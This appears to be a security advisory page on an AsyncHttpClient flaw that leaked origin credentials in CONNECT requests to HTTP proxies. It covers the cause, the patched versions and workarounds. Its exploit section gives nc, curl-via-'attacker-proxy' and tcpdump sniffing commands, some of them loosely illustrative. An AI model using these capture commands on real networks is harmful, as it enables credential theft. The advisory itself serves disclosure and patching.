Listen to this Post
When an application uses an HTTP proxy to reach an HTTPS origin, the client must first establish a tunnel by sending a plaintext CONNECT request to the proxy before any TLS handshake occurs. On affected versions of AsyncHttpClient, the origin’s preemptive credentials were inadvertently added to that CONNECT request. This means that for a Basic realm, the client sent Authorization: Basic base64(user:pass) directly to the proxy in cleartext. For NTLM, SPNEGO, or Kerberos realms, the corresponding token was also attached to the CONNECT. As a result, the proxy itself, as well as any adversary capable of reading the client-to-proxy hop, could observe credentials that were intended exclusively for the origin server. The origin Basic or Digest Authorization is no longer placed on the CONNECT; instead, it is added to the tunnelled request only after the tunnel is successfully established. Similarly, the per-connection NTLM, Kerberos, and SPNEGO token is no longer attached on the tunnel path. This token never reached the origin in the first place, and the challenge flow still negotiates it inside the tunnel. The root cause lies in NettyRequestFactory, which added the origin Authorization to every request it built, including the CONNECT, and NettyRequestSender, which did the same for the per-connection NTLM or SPNEGO token in sendRequestWithNewChannel. Both components now skip the CONNECT. It is important to note that version 3.0.12 is itself affected by a separate issue, GHSA-rqf5-2wxv-rjf4, where a Digest challenge the client cannot read downgrades to Basic and sends the password in cleartext. Therefore, upgrading to 3.0.13 is recommended to pick up both fixes. The vulnerability was addressed in 3.0.12 on the 3.x line and in 2.16.1 on the 2.x line. Workarounds include avoiding the use of preemptive origin authentication together with an HTTP proxy, or reaching the origin without a CONNECT proxy.
DailyCVE Form:
Platform: AsyncHttpClient Netty
Version: 3.0.11, 2.16.0
Vulnerability: Credential leak CONNECT
Severity: Medium
date: 2026-09-17
Prediction: Not specified
What Undercode Say:
Check async-http-client version
mvn dependency:list | grep async-http-client
Vulnerable code path in NettyRequestFactory
// Adds origin Authorization to every request, including CONNECT
request.headers().add(HttpHeaderNames.AUTHORIZATION, originAuth);
Vulnerable code path in NettyRequestSender
// Attaches NTLM/SPNEGO token to CONNECT
sendRequestWithNewChannel(...) { ... }
How Exploit: (Educational Purposes!)
Attacker sets up a malicious proxy to capture credentials nc -l -p 8080 Victim client configured to use proxy for HTTPS origin with preemptive auth The CONNECT request will contain origin credentials in cleartext curl -x http://attacker-proxy:8080 https://origin.example.com --proxy-header "Authorization: Basic dXNlcjpwYXNz" Sniffing the client-to-proxy hop tcpdump -i eth0 -A 'tcp port 8080 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x434f4e4e)'
Protection: from this CVE
Upgrade to patched versions 3.x line: 3.0.12 and later (recommend 3.0.13+) 2.x line: 2.16.1 and later mvn versions:use-latest-versions -Dincludes=org.asynchttpclient:async-http-client Workaround: Avoid preemptive origin authentication with HTTP proxy Or reach origin without CONNECT proxy
Impact:
Credential exposure to proxy and network observers.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
